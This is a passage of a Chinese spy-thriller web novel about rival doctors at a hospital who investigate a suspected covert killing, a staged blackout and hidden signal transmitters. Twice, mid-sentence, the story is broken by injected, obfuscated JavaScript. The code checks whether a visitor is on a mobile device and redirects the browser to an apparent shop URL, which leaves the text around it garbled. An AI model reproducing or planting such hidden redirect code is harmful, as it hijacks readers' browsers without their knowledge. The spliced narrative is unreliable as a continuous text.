X9F7#Q2T账户属于瑆洲b军区医疗情报网络节点。钟妍妍是十年前被植入圣保罗医院。任务内容:未知。授权级别:四级。警告:该节点享有处决权限,可对特定目标实施‘医疗清除’。——调查员C】 关文晶看完信息,删除。 她继续检查患儿的喉咙,手很稳,眼神专注。 但心里,已经翻起了惊涛骇浪。 b军区。 处决权限。 医疗清除。 钟妍妍……你到底是谁?又或者说,你到底是什么蛇? 关文晶直起身,对护士说:“这个患儿喉头水肿减轻了,可以把雾化频率降到每八小时一次。” “好的,关医生。” 她走向下一个病床,脑子里却在快速计算:如果钟妍妍真的有处决权限,那么阮氏香的死就不是意外,而是任务。但一个失足女凭什么成为军方情报组织的清除目标? 除非,阮氏香知道什么不该知道的事。或者,她接触了什么不该接触的人。 关文晶停下脚步,看向窗外。晨光刺破晨雾,洒在医院的老墙上。 新的一天开始了。而一场无声的战争,刚刚拉开序幕。 ———————————————— 早上七点四十分,巴颂老头的紧急会议通知像一块石头砸进了平静的湖面。□□到儿科所有医护人员的手机: 【08:30,十五楼会议室,关于上周六凌晨儿科用药差错的初步调查通报。涉事人员及科室负责人务必参加。】 关文晶看到短信时,正在儿科病房检查一个肺炎患儿。她眉头都没皱一下,只是对旁边的新手医生交代完后续治疗,就转身往电梯走 走廊里,几个其他科室的医生聚在一起低声议论“听说了吗?周六凌晨儿科差点出人命……” “好像是镇静剂用错了剂量?” “不是,说是两种药搞混了,一个哮喘患儿差点呼吸抑制。” 关文晶面无表情地从他们身边走过。那些议论声在她身后小了下去,但目光像针一样扎在她背上。 会议室已经坐了一半的人。长条会议桌首席C位坐着巴颂,两侧是医生,护士,医生助理、治疗师和护工等,关文晶旁边是儿科室长艾利克斯·钱先生——一个六十多岁的华裔老教授,此刻正眉头紧锁地翻看着手里的报告。 钟妍妍慢悠悠走进会议室。她今天穿着深灰色的西装套裙,头发一丝不苟地挽起,手里拿着一个黑色的皮质笔记本。她坐下的位置正好在关文晶的斜对面。 两人目光短暂相接,又各自移开。 “钟医生。你怎么来了?”钱室长惊奇地看着钟妍妍。“钟医生强烈要求参加,”巴颂抢先回答:“我就答应了。” 八点三十分,会议准时开始。 巴颂清了清嗓子:“事情是这样。周六凌晨三点十五分,儿科发生一起严重的用药差错。一名四岁哮喘患儿,在雾化治疗后出现烦躁,值班护士遵医嘱给予镇静剂。但给药后十分钟,患儿出现呼吸减慢、血氧饱和度下降,紧急抢救后恢复。事后核查发现,护士错误地将‘咪达唑仑’当作‘水合氯醛’给予了患者。” 他顿了顿,环视全场:“两种药物的治疗剂量相差十倍。如果不是发现及时,后果不堪设想。现在,请儿科说明情况。” 医生助理蒙娜站起来,脸色凝重:“首先我向患儿家属表示深深的歉意。这起差错暴露了我们科室在夜班人力不足、药品管理、双人核对等多个环节的问题。我们已经暂停了当事护士的工作,并开始全面整改……” “等等,”一个声音打断了他,“我能问个问题吗?” 所有人转头。说话的是钟妍妍。她坐在那里,身体微微前倾,双手交叠放在桌上,姿态优雅但带着不容忽视的压迫感。 “钟医生请说。”巴颂点头。 “根据报告,差错发生在周六凌晨三点十五分。”钟妍妍说:“我听闻患儿出现烦躁的时间是两点五十分。这中间二十五分钟,你们值班医生在做什么?为什么没有亲自评估患儿就下了镇静医嘱?” 会议室里安静了几秒。 关文晶缓缓开口:“周六凌晨我值二线班。两点五十分接到一线医生电话,说患儿烦躁,我已通过电话询问了患儿的生命体征和临床表现,判断为雾化治疗后的常见反应,给予镇静医嘱是合理的。” “通过电话判断?”钟妍妍挑眉,“关医生,一个四岁哮喘患儿,在凌晨出现烦躁,你连床旁都没到,就敢下镇静医嘱?这是儿科的标准流程吗?” “当晚儿科有七个危重患儿,一线医生正在处理另一个呼吸衰竭的新生儿。”关文晶的声音平静但冷硬,“我通过电话获取了患儿的呼吸频率、心率、血氧饱和度、肺部听诊结果,这些信息足以判断烦躁的原因。如果每个电话咨询我都要跑到床旁,那其他患儿谁来管?” “所以你就让护士执行了一个可能致命的医嘱?”钟妍妍的语气依然温和,但每个字都像针,“关医生,我理解夜班压力大,但医生的首要责任是患者安全,而不是效率。” 关文晶迎上她的目光:“钟医生,你是妇科医生,可能不了解儿科夜班的实际情况。但在资源有限的情况下,医生必须基于信息做出最佳决策。我承认,事后看来这个决策有风险但在当时的情境下,我认为是合理的。” “合理到差点害死一个孩子?” “钟医生!”钱室长忍不住了,“关医生是我们科室最优秀的医生之一,她的临床判断从没出过错。这次差错的主要责任在护士执行环节,不是医嘱问题。” “钱室长!我无意质疑关医生的能力。”钟妍妍转向他,语气缓和了一些,“我只是想弄清楚,为什么一个经验丰富的医生,会在没有亲自评估的情况下,给出一个高风险医嘱。这不符合关医生一贯的严谨风格。” 她顿了顿,看向关文晶:“除非……当时有其他事情分散了你的注意力?” 会议室里的空气凝固了。 所有人都听出了这句话的弦外之音。周六凌晨三点左右——正好是阮氏香出现呼吸抑制而关文晶试图访问加密病历的时间。 关文晶的手指在桌下微微收紧但脸上依然平静:“钟医生,我不明白你在暗示什么。我当晚的所有工作都有记录可查。如果你对我的职业操守有疑问可向行政办公室正式投诉。” “我没有疑问。”钟妍妍微笑,“只是作为同事,关心一下。毕竟,最近儿科的工作量确实很大,关医生又经常加班到很晚,难免有疏忽的时候。” “谢谢关心。”关文晶也笑了,但那笑意没有到达眼底,“我会注意休息。不过钟医生也要多保重,听说你最近也在加班处理一些……特殊的病例?” 两人对视着,眼神在空中交锋,像两把无形的刀在碰撞。 巴颂咳嗽了一声打断这微妙的对峙:“好了,今天的会议重点是分析差错原因,制定整改措施。个人工作状态的问题,会后再单独讨论。下面请药学部汇报药品管理方面的调查结果……” 会议继续,但气氛已经不一样了。 关文晶表面在听汇报,脑子里却在快速分析钟妍妍刚才的每一句话、每一个表情。那不是普通的质疑,那是精准的打击——抓住时间点,暗示她当晚分心,又用“关心”的名义包装,让她无法公开反驳。 像蛇一样。悄无声息地靠近,精准地咬住要害。 而她自己回击的那句“特殊的病例”,钟妍妍的反应也很值得玩味——没有慌张,没有辩解,只是眼神更深了一些。 那眼神里有什么?警告?挑衅?还是……承认? 会议在九点四十分结束。众人起身离开时,关文晶故意慢了一步,等钟妍妍走到门口时,她跟了上去。 两人一前一后走进电梯。电梯里只有她们两个。 门关上,轿厢开始下行。 “钟医生对儿科的工作很了解。”关文晶先开口,语气像闲聊,“连夜班的流程细节都清楚。” “医生之间互相学习是应该的。”钟妍妍看着楼层数字,“而且,妇科和儿科都是女性和儿童专科,有很多共通之处。” “是吗?那我倒想请教一下,妇科对失足女患者的处理原则是什么?” 电梯在五楼停了一下,门打开,没人进来,又关上。 钟妍妍转过头,直视关文晶:“关医生为什么对妇科的患者这么感兴趣?” “只是好奇。”关文晶迎上她的目光,“我听说妇科有个晚期宫颈癌的患者叫阮氏香,病历被三级加密了。这在医院里很少见,除非患者有什么特殊背景,或者……治疗过程中有什么特殊问题。” “患者隐私受法律保护。”钟妍妍的声音冷了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“关医生,你比我想象的更有趣。”她说,“但我建议你,把这份观察力用在儿科患者身上,而不是同事身上。毕竟,儿科最近似乎……不太平。” 她说完,转身离开,高跟鞋敲击地砖的声音清脆而坚定。关文晶站在原地,看着她的背影消失在远处…… 刚才那番交锋,表面上看她占了上风——她戳破了钟妍妍的秘密训练。但钟妍妍最后的反击也很精准:用儿科最近的差错事件,提醒她自己的处境并不稳固。 而且,钟妍妍从头到尾都没有正面否认那些指控。 不否认,有时候比否认更可怕。因为那意味着,她根本不在乎被知道。 或者说,她有足够的底气,不怕被知道。 关文晶深吸一口气,朝儿科走去。走到一半,她忽然想起什么,调转方向去了网安部。 网安部主管看见她,有些意外:“关医生有什么事吗?” “我想查一下周六凌晨,妇科病房的监控记录。”关文晶说,“阮氏香那个病房,三点到五点。” 网安部主管面露难色:“这个……如果是加密区域的监控可能需要更高级别的授权。” “我知道。”关文晶从口袋里拿出一张纸条,上面有一个手写的授权码,“用这个权限试试。” 网安部主管接过纸条,看了一眼,脸色变了变。他走到电脑前,输入授权码,系统显示:“临时四级权限,有效期24小时。” 他震惊地看向关文晶:“关医生,你这是……” “别问。”关文晶说,“查监控。” 主管不敢再多说,调出妇科病房周六凌晨的监控。画面显示,阮氏香的病房在三点十分时,门打开了,钟妍妍走了出来。她站在门口回头看了一眼病房,然后离开。 整个过程不到十秒。 但关文晶注意到一个细节:钟妍妍离开时,右手一直插在白大褂口袋里,直到走到走廊尽头才拿出来。 口袋里有什么? 药物?注射器?还是其他东西? “能放大她手部的画面吗?”关文晶问。 主管放大、增强画质。虽然模糊,但能看到钟妍妍的右手在口袋里握着什么——一个长约十厘米的柱状物体,不太粗。 像一支笔。 或者说,像一支特制的注射笔。 关文晶感觉后背一阵发凉。 如果钟妍妍真的在病房里给阮氏香注射了什么,而监控只拍到她离开的画面…… 那阮氏香的呼吸抑制,可能根本不是药物相互作用,而是直接的中枢神经抑制。 “这段监控,还有谁调取过?”她问。 主管查了记录:“昨天下午,钟医生本人来过,说是查看患者夜间护理情况。她看了这段,还要求技术员删掉了一段画面——说是角度不好,有反光。” “删了哪段?” “三点零五分到三点十分,病房内部的画面。” 关文晶闭了闭眼。 证据被销毁了。 不,不是销毁,是“合法”地删除了。作为正式注册医生,钟妍妍有权以“保护患者隐私”或“画面质量问题”为由,要求删除监控片段。 完美的不在场证明。 完美的清除手段。 关文晶离开网安部时,脚步有些沉重。她走到窗边,看着外面阳光灿烂的庭院,心里却像压着一块冰。 钟妍妍比她想象的更危险。 也更专业。 这场斗法,第一回合,她看似抓住了对方的破绽,但实际上,对方早就布好了局,等着她来踩。 而现在,她踩进去了。 手机震动,是一条加密信息: 【关二小姐,关于钟妍妍的身份,证实为军方高度保密级别。建议停止调查,这件事水太深。——调查员##】 关文晶看完,删除信息。她靠在墙上,感觉太阳穴在跳。军方高度保密级别……什么样的军人能享受这种待遇? 这些碎片拼在一起,勾勒出一个完全不同的人像:一个被军方收编和训练的女人,一个在医学外衣下执行私刑的复仇者…… 关文晶抬起头,看着走廊尽头那扇窗。窗外,一只鸟落在树枝上,歪头梳理羽毛,然后振翅飞走。 自由自在。 而她,关文晶,却被困在这个蛇窝里,与一条又一条毒蛇周旋。 但她不会退缩。 关家的人,从不退缩。 她直起身,整理了一下白大褂,朝儿科走去。 脚步坚定。 眼神如刀。 这场斗法,才刚刚开始。 而她,锯鳞蝰,已经准备好了下一次出击。 16. 钟妍妍的评估 下午四点,钟妍妍敲响了尹柏萧办公室的门。 “请进。” 钟妍妍推门而入,尹柏萧正坐在办公桌后处理工作。看到是她,他脸上的表情稍显缓和:“钟医生,请坐。” 钟妍妍在办公桌对面的椅子上坐下,姿态端正却不显得拘谨。她今天穿了浅蓝色衬衫和深灰色西裤,外面套着白大褂,看起来既专业又带着几分亲和力。“尹教官,我来汇报一下徐燕风的情况。”她开门见山说道。 尹柏萧放下钢笔,双手交叉放在桌上:“怎么样?那小子没再给你惹什么麻烦吧?” “恰恰相反。”钟妍妍从随身的文件夹里抽出一份评估报告,推到他面前,“过去四周的训练,他的进步超出了预期。这是详细的评估记录。” 尹柏萧拿起报告,快速翻阅起来。报告分为几个部分:情绪管理测试结果、抗压训练表现、反审讯模拟评分、行为观察分析。每个部分都有具体的数据、记录以及钟妍妍的评语。 他翻到最后一页的总结部分,目光停了下来: 【综合评估: 情绪稳定性:C+→B(显著提升) 压力应对:D→B+(进步突出) 观察分析能力:C→A-(天赋显现) 决策果断性:D+→B(仍需训练) 保密意识:C→A(学习迅速) 忠诚度倾向:待观察 风险等级:中等(可控) 建议:适合进入下一阶段训练,考虑分配低风险实践任务。】 “A-的观察分析能力?”尹柏萧抬眼看向钟妍妍,“你确定?” “确定。”钟妍妍点头,“上周医院演练期间,他独立完成了六个区域的观察任务,报告准确率达到87%。更难得的是,他不光能记录现象,还能基于有限的信息做出合理推测——比如药房那个‘患者’的破绽,就是他先发现的。” 尹柏萧靠回椅背,手指在桌面上轻轻敲击着:“但他之前的记录……冲动、易怒、缺乏纪律性。这才一个月,变化怎么会这么大?” “有些人需要正确的引导。”钟妍妍的声音平稳,“徐燕风本质不坏,只是精力过剩,缺乏目标。我给他的训练提供了一种‘挑战感’——不是枯燥的纪律说教,而是实打实的能力提升。他享受这种进步,所以愿意投入精力。” “享受?”尹柏萧捕捉到这个词,“他享受学这些东西?情绪控制、反审讯、行为分析……这可不是普通医学生该享受的。” 钟妍妍迎上他的目光:“尹教官,您当年在军队里,难道不也享受过掌握新技能、通过严苛训练时的那种成就感吗?徐燕风骨子里有好胜心,只是以前用错了地方。现在他找到了一个更‘高级’的游戏,自然愿意投入其中。” 办公室里安静了几秒,窗外隐隐传来远处球场上的哨声和喧哗声。 尹柏萧重新拿起报告,翻到中间几页。那里记录了反审讯训练的详细过程,包括徐燕风面对质问时的回答、微表情变化以及应对策略。评语栏里,钟妍妍写道: 【对象在高压环境下表现出惊人的适应性。初期有明显生理唤起(心率升高、出汗),但在意识到对方可能使用诈供手段后,迅速调整策略,转为防守反击模式。说明已具备基础的信息筛选和风险意识。】 “防守反击模式?”尹柏萧盯着钟妍妍看了几秒,忽然问道,“钟医生,你教他的这些东西,已经远远超出‘管教问题学生’的范畴了。你到底想把他培养成什么?” 钟妍妍没有立刻回答,她转头看向窗外,黄皮果树林在夕阳下泛着金光……“尹教官,”她转回头,声音很轻,“您在军队待了多久了?” “二十六年。” “那您现在应该很清楚,圣保罗医院以及这所医学院——在瑆洲的特殊地位。”钟妍妍的手指在文件夹上轻轻划过,“这里不只是治病救人的地方,也是情报交换、人员筛选、资源调配的节点。每个在这里工作的人,或多或少都知道一些不该知道的事,接触一些不该接触的人。” 尹柏萧的眼神变得锐利起来:“钟医生,你到底想说什么?” “我想说,徐燕风已经卷进来了。”钟妍妍直视着他,“从他第一次和关文晶冲突开始,从他被您训斥开始,甚至可能更早——从他接触何念曦开始。在这个环境里,一个没有自保能力的人,要么被利用,要么被吞噬。”她顿了顿,“我在教他自保。仅此而已。” “仅此而已?”尹柏萧重复着这四个字,语气里满是怀疑,“凭你妇科医生的背景,却对压力训练、反审讯、行为分析如此精通。现在你又对一个医学生投入这么多精力……你真的只是好心?” 钟妍妍笑了,不是平时那种温和的笑,而是一种带着冷意的、近乎自嘲的笑。 “您说得对,我不是单纯的好心。”她坦然承认,“我培养徐燕风,有我的目的。但我的目的和医院——或者说,和您所效力的那一边——并不冲突。我需要一个帮手,一个能在某些时候替我完成一些……特殊任务的人。而您需要的是一个不再惹麻烦、甚至可能成为有用资产的学生。” 她身体前倾,压低声音:“我们各取所需,不好吗?” 办公室里的空气仿佛凝固了。尹柏萧盯着钟妍妍,像是第一次真正认识这个人。他一直知道她不简单,却没想到她会如此直白地摊牌。 “什么特殊任务?”他问道。 “现在还不到时候。”钟妍妍重新靠回椅背,“但我可以向您保证,不会危害医院,不会危害学生,不会危害瑆洲的稳定。” “那好吧。告诉我——你下一阶段的训练是什么?”他又问。 “实战观察。”钟妍妍说,“我会安排他接触一些真实的、低风险的情境。比如,观察某个特定人员的日常轨迹,记录某个区域的异常活动。不介入,只记录。” “风险可控吗?” “完全可控。”钟妍妍保证道,“我会全程监控。而且,这些观察任务本身也是一种测试——测试他的判断力、自制力、忠诚度。” 尹柏萧最终点了点头:“好。但有一条底线:不能让他陷入危险,不能让他犯法,不能让他知道太多他不该知道的。” “明白。”钟妍妍走到门口,又停住脚步,“对了,尹教官,关于关文晶医生……” “她怎么了?” “她最近在调查我。”钟妍妍说得很平静,“或者说,在调查阮氏香的死。我建议您适当关注一下,别让她挖得太深。有些事,不知道反而更安全。” 尹柏萧皱起眉:“关医生是儿科骨干,背景也不简单。她不会听我的。” “不需要她听您的。”钟妍妍回头,眼神深邃,“我只需要让她知道——继续挖下去的代价,她可能付不起。” 说完,她拉开门,走了出去。 门被轻轻关上。 尹柏萧站在原地,久久没有动弹。办公桌上,徐燕风的评估报告摊开着,那些数据和评语在灯光下显得格外刺眼。 他走到窗边,看着夜幕降临的院区。路灯一盏盏亮起,病人或家属们三三两两地走向餐厅或图书馆,一切都那么正常,那么平静。 但他知道,在这平静之下,暗流正在涌动。钟妍妍、关文晶、徐燕风……这盘棋,已经开始了。 他打开抽屉最底层,里面没有文件,而是一把手枪,枪身黝黑,泛着冷光。他摸了摸枪柄,又合上了抽屉。 希望用不到。 他想着,看向窗外。 希望这盘棋,能平安下完。 而此刻,钟妍妍正走在回妇科的路上。夜风吹过,带来一丝凉意。她拿出手机,编辑了一条加密信息: 【评估通过。下一阶段启动。目标:徐燕风。任务:观察港口区‘暝色’夜店的异常人员流动。时间:本周五晚。要求:只记录,不接触。我会在后方监控。——尖吻蝮】 发送后,她删除了记录。 抬起头,医院的灯光在夜色中像一座巨大的蜂巢,每个窗口后面都有人在忙碌、在算计、在努力生存。 而她,钟妍妍,代号尖吻蝮,正在这个蜂巢里培养一条新的毒蛇。 一条或许能帮她完成秘密任务的蛇。 一条或许会反噬她的蛇。 风险很大。 但值得。 钟妍妍走进医院主楼,乘电梯回妇科。电梯镜面映出她的脸——冷静,完美,无懈可击。 一张属于掠食者的脸。 电梯门打开,她走出去,脚步声在空旷的走廊里回响。 像蛇在洞穴里滑行。 悄无声息。 却致命。 晚上九点十七分,圣保罗医院的灯光毫无征兆地熄灭了。 不是闪烁,不是渐暗,是彻底的、瞬间的黑暗。主楼、急诊部、住院楼、医学院——所有建筑的照明系统同时失效,整片区域像被一只巨手摁进了墨水瓶。 应急照明在三秒后亮起但只有走廊和关键区域有稀稀落落的绿光,病房里依然漆黑。监护仪的备用电池启动,发出单调的“滴滴”声在突然降临的寂静中显得格外刺耳。 儿科病房最先传来孩子的哭声,紧接着是家属惊慌的询问,护士安抚的声音拔高:“大家不要慌!是停电,应急电源马上启动!” 但应急电源没有如常启动。 --- 地点:儿科值班室 关文晶在停电的瞬间就放下了手中的笔。她没有像其他医生那样起身查看,而是坐在原地,闭上眼睛,倾听。 三秒。 她听见走廊里第一个护士的脚步声——急促,往护士站方向。 五秒。 她听见远处病房里监护仪的报警声——不是一台,是至少三台,音调不同,说明问题不同。 七秒。 她听见电梯井里传来沉闷的机械声——备用发电机没有启动,电梯卡住了。 十秒。 她睁开眼,起身,动作不快但精准。从抽屉里拿出一个强光手电,打开,光束稳定。然后她从白大褂口袋里掏出那个备用手机,拨了一个号。 “是我。”她声音压得很低,“停电。不是常规故障,备用发电机没有启动。查一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937034|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外部电网状态。” 电话那头传来快速的键盘敲击声:“外部电网正常。停电范围只有医院和医学院区域,半径三百米外都有电。是内部切断。” “人为的?” “大概率。需要我反向追踪吗?” “不用。”关文晶说,“应该是演练。但太突然了,没有提前通知。你盯着系统,有任何异常访问立刻通知我。” 挂断电话,她走出值班室。走廊里应急灯的绿光让她脸看起来像蒙了一层霜。几个护士正忙着安抚哭闹的患儿,家属们聚在门口,焦虑地张望。 “关医生!呼吸机!”一个年轻护士冲过来,声音发颤,“16床的呼吸机报警了!备用电池只能撑三十分钟!” 关文晶看了一眼手表:“通知设备部,优先处理呼吸机供电。把所有需要电源维持生命的患儿集中到同一区域,方便统一供电。其他人,用手动复苏囊维持通气。” “可是我们没有那么多复苏囊……” “那就优先级排序。”关文晶的声音没有任何波动,“新生儿、呼吸衰竭、术后危重。其他的,保持气道通畅,密切观察。去。” 护士跑开了。 关文晶走向护士站,拿起内线电话——没声音,线路也断了。她改用对讲机:“各区域汇报情况。” 对讲机里传来断断续续的声音: “ICU……呼吸机全部转备用电池……还能撑四十分钟……” “手术室……三台手术中……无影灯有应急电源……但麻醉机……” “血库……冷库温度正在上升……已启动备用制冷……但功率不足……” 关文晶一边听,一边在值班室的记录板上快速书写。她的字迹工整清晰,列出一个优先级清单: 1.生命支持设备供电 2.手术室照明及设备 3.血库及药房冷藏 4.急诊科照明 5.其他 写完后,她走到窗边,把头探出去四下张望……整个医院陷入黑暗只有零星几处窗户透出手电或手机的光。远处医学院也一片漆黑但能看到有手电光在教学楼里移动。 突然,她注意到一个细节:十二楼妇科有一扇窗户的窗帘在动——不是被风吹动,而是有人快速拉开又合上,重复了三次。 像信号。 关文晶眯起眼,记下那个窗户的位置:妇科,306病房附近。 她拿起对讲机:“设备部,请优先处理妇科住院楼三楼的供电。那里有需要电源的特殊设备。” 对讲机那边迟疑了一下:“关医生,妇科没有报备特殊设备……” “按我说的做。”关文晶的语气不容置疑,“立刻。” --- 地点:医学院图书馆 停电时,徐燕风正在图书馆的角落里看一本《临床毒理学》。黑暗降临的瞬间,他本能地合上书,身体微微前倾,进入戒备状态。 周围的人们一片骚动: “怎么回事?” “停电了?” “手机!开手电!” 几道手机手电的光束亮起,在黑暗里乱晃。徐燕风没有立刻开手机,而是先观察——他的眼睛在黑暗中适应得很快,能看清大概轮廓。 图书馆管理员在喊:“大家不要慌!原地等待!不要使用明火!” 徐燕风站起身,借着手机光的余光,快速扫视整个阅览室。大约三十多人,大部分是住院的病人,有几个看起来像医护人员。所有人的第一反应都是掏手机、开手电、互相询问。 只有一个人不同。 坐在斜对面角落里的一个中年男人,在停电后没有动,也没有开手机。他静静坐在黑暗里,手放在桌面上,手指有节奏地轻轻敲击——三短,三长,三短。 摩斯电码:SOS。 但那个男人的表情很平静,甚至有点……悠闲。 徐燕风心里一动。演练?测试? 他想起钟妍妍昨天的话:“随时准备好,意外可能在任何时候发生。” 所以这是“意外”? 他决定测试一下。 徐燕风打开手机手电,光束故意扫过那个男人的脸。男人眯起眼,抬手遮挡,但手指停止了敲击。 “不好意思。”徐燕风道歉,关掉手电,走过去,“先生,您没事吧?需要帮助吗?” 男人抬起头,在手机屏幕的微光下,徐燕风看清了他的脸——很普通,四十多岁,戴着一副黑框眼镜,穿着普通的polo衫。但他手腕上戴着一块军表,表盘在黑暗中有微弱的夜光。 “我没事。”男人说,声音温和,“就是有点担心。这停电太突然了。” “可能是线路故障。”徐燕风说,“需要我帮您出去吗?图书馆有应急出口。” “不用,我等等。”男人笑了笑,“年轻人,你挺镇定的。医学院的学生?” “预科班。”徐燕风说,同时注意到男人的背包放在脚边,拉链开了一条缝,里面隐约能看到一个黑色设备的轮廓——像是便携式无线电,或者信号干扰器。 17. 停电事件和情报误传危机 “预科班啊。”男人点点头,“将来想当什么科医生?” “还没想好。”徐燕风随口回答,脑子里却在快速分析:这个男人在停电后没有惊慌,反而在发信号。背包里有专业设备。他在等什么?还是在观察什么? 突然,图书馆外传来刺耳的警报声——是消防警报。 病人们更慌了:“火灾?” “快出去!” 人群开始涌向出口。徐燕风被人流推着往前走,但他回头看了一眼。那个中年男人依然坐在原地,不慌不忙地收拾东西,把那个黑色设备塞进背包深处,然后才起身。 不是普通读者。 徐燕风记住了他的脸。 --- 地点:十二楼妇科。 停电发生时,钟妍妍正在306病房隔壁的医生休息室里。她没有开灯,而是站在窗前,看着外面骤然黑暗的医院。 手机震动,加密信息: 【演练第二阶段启动。停电时长预计45分钟。观察目标:各科室应急反应速度、关键人员动向、异常信号传输。你负责监控妇科及相邻区域。——指挥中心】 钟妍妍回复: 【收到。已定位目标区域。306病房窗帘信号确认。】 她收起手机,从白大褂口袋里拿出一个巴掌大的设备——便携式频谱分析仪。打开,屏幕亮起微光,显示周围的无线信号频率。 停电后,医院内部的Wi-Fi和有线网络全部中断,但无线电频段异常活跃。她扫描到至少六个加密频段在传输数据,信号源分布在不同楼层。 其中一个信号源就在306病房。 她走出休息室,走廊里应急灯的绿光让一切看起来像水下世界。几个护士正在用手电检查患者,家属们焦虑地围在门口。 钟妍妍走到306病房门口,推门进去。 病房里只有一张床,患者是个六十多岁的老妇人,乳腺癌术后化疗,此刻正睡得沉。监护仪靠着备用电池工作,显示生命体征平稳。 但钟妍妍的目标不是患者。 她走到窗前,拉开窗帘——刚才就是这里发出了信号。窗台上什么都没有,但她用手指摸了摸窗框内侧,感觉到一个细微的凸起。 微型信号发射器,伪装成螺丝钉。 她没动它,只是用频谱仪检测了一下:发射频率2.4GHz,加密协议,持续发送定位信号。 有人在用这个病房作为信号中继点。 钟妍妍记下频率和协议特征,然后走到病床边,假装检查患者。实际上,她的手在床垫边缘摸了摸,又摸到一个硬物——另一个发射器,这次伪装成纽扣电池。 两个发射器,不同频率,不同协议。 这意味着至少有两方在利用这个病房。 她退出病房,在走廊里用加密手机汇报: 【306病房发现两个独立信号源,频率分别为2.4GHz和5.8GHz,均加密。建议技术组反向追踪。另外,妇科区域供电需求优先级被儿科干预,已要求设备科优先处理。——尖吻蝮】 几秒后,回复: 【儿科干预?关文晶?】 【是。她可能注意到了窗帘信号。】 【继续观察。供电优先级维持原方案,测试她的反应。——指挥中心】 钟妍妍收起手机,嘴角勾起一丝冷笑。 关文晶果然在监视她。 或者说,在监视妇科。 这场停电,不只是应急演练,也是各方势力的试探场。每个人都在观察,每个人都在测试,每个人都在布局。 她走到楼梯间,准备下楼去急诊科看看情况。刚推开通往楼梯的门,就看见一个人影正快步上楼——是徐燕风。 两人在应急灯绿光下对视。 “钟医生?”徐燕风有些意外,“您怎么在这里?” “检查患者。”钟妍妍平静地说,“你呢?不是在图书馆吗?” “停电了,图书馆疏散。我想到医院可能需要帮忙,就过来了。”徐燕风说,目光扫过钟妍妍手里的频谱仪,“那是……” “便携式监护仪电池检测器。”钟妍妍面不改色地撒谎,“有些设备的备用电池可能老化,需要检查。” 徐燕风没有追问,但眼神里闪过一丝怀疑。 “一起下楼吧。”钟妍妍说,“急诊科现在肯定需要人手。” 两人并肩走下楼梯。脚步声在空旷的楼梯间里回响,应急灯的光把他们的影子拉长又缩短,像两条在黑暗中游弋的蛇。 “钟医生,”徐燕风忽然开口,“刚才在图书馆,我遇到一个人。” “什么人?” “一个中年男人,戴军表,背包里有像是无线电的设备。停电后他没有慌,反而在桌上敲摩斯电码:SOS。但表情很平静。” 钟妍妍脚步未停:“长什么样?” 徐燕风描述了一遍。 钟妍妍在心里快速比对:符合“观察员-7号”的特征。——演练指挥中心安排的外部观察员,负责记录学生和医护的应急反应。徐燕风能注意到他,说明观察力确实提升了。 “可能是军方的人。”她决定透露一点,“医院偶尔会有军方观察员,测试应急系统。你今天表现很好,没有惊慌,还注意到了细节。” “这是测试?”徐燕风问。 “算是。”钟妍妍说,“但也是真实的应急情况。停电超过二十分钟,某些设备就会出问题。超过一小时,就会有生命危险。” 他们走到一楼,急诊科的嘈杂声扑面而来。手电光乱晃,医护人员奔跑,担架车推过走廊的声音,患者的呻吟和家属的呼喊混在一起。 钟妍妍和徐燕风交换了一个眼神,然后分开行动。钟妍妍走向抢救室,去检查那里的供电情况。徐燕风则走向护士站,看看自己能帮上什么忙。 但两人心里都清楚,这场停电,远不止是“应急演练”那么简单。 这是一场多方参与的实景测试。 而测试的对象,不只是医院的系统。 更是医院里的每一个人。 --- 九点四十三分,停电第二十六分钟。 备用发电机终于启动。 不是全功率启动,而是分批、分区域恢复供电。最先亮灯的是手术室和ICU,然后是急诊抢救室、血库、药房冷库。 其他区域依然黑暗。 关文晶站在儿科护士站,看着窗外逐渐亮起的几个区域,在心里标注:优先供电顺序和演练指挥中心的预案一致。这说明停电确实是计划内的。 但为什么没有提前通知? 除非……通知了某些人,但没有通知所有人。 她拿起对讲机:“设备科,儿科区域供电什么时候恢复?” “儿科在第三批次,预计五分钟后。” “太慢了。我这里有两个呼吸机备用电池只剩十分钟电量。” “关医生,这是指挥中心的安排……” “让指挥中心的人来跟我说。”关文晶冷冷地说,“如果这两个孩子因为供电延迟出问题,责任谁来负?” 对讲机那边沉默了几秒,然后:“……我尽量优先处理。” 关文晶放下对讲机,走到窗边。她的手机震动,是那个备用机。一条加密信息: 【供电恢复顺序显示,指挥中心内部有明确优先级:手术/ICU>急诊>血库/药房>产科/儿科>其他。妇科被排在了儿科之前,不符合常规。建议调查妇科的特殊需求。——调查员C】 关文晶回复: 【已注意到。妇科306病房有异常信号传输。停电期间窗帘开合三次,像是信号。正在追踪。】 发送后,她删掉记录。 窗外,医院的灯光一片一片地亮起,像一头沉睡的巨兽正在缓慢苏醒。 但关文晶知道,有些东西,一旦被唤醒,就再也回不去了。 这场停电,撕开了平静的表象。 露出了下面涌动的暗流。 而她,锯鳞蝰,已经做好了潜入暗流的准备。 九点五十二分,全院供电恢复。 光明重新降临。 但黑暗里发生过的事,见过的人,传递过的信号,都被某些人记在了心里。 像蛇记住了猎物的气味。 等待下一次出击。 儿科护士站的传真机发出刺耳的鸣响。值班护士娟娟正忙着给一个患儿扎针,头也不抬地喊:“娜姐!传真!” 医生助理于娜赶来:“来了来了!” 她走到传真机前,看着纸卷缓缓吐出。第一页是标准的转诊单抬头——圣保罗医院内部转诊通知单,但科室栏填的是“保密”,患者姓名栏是空白的,只有一串编号:XM-7743-9。 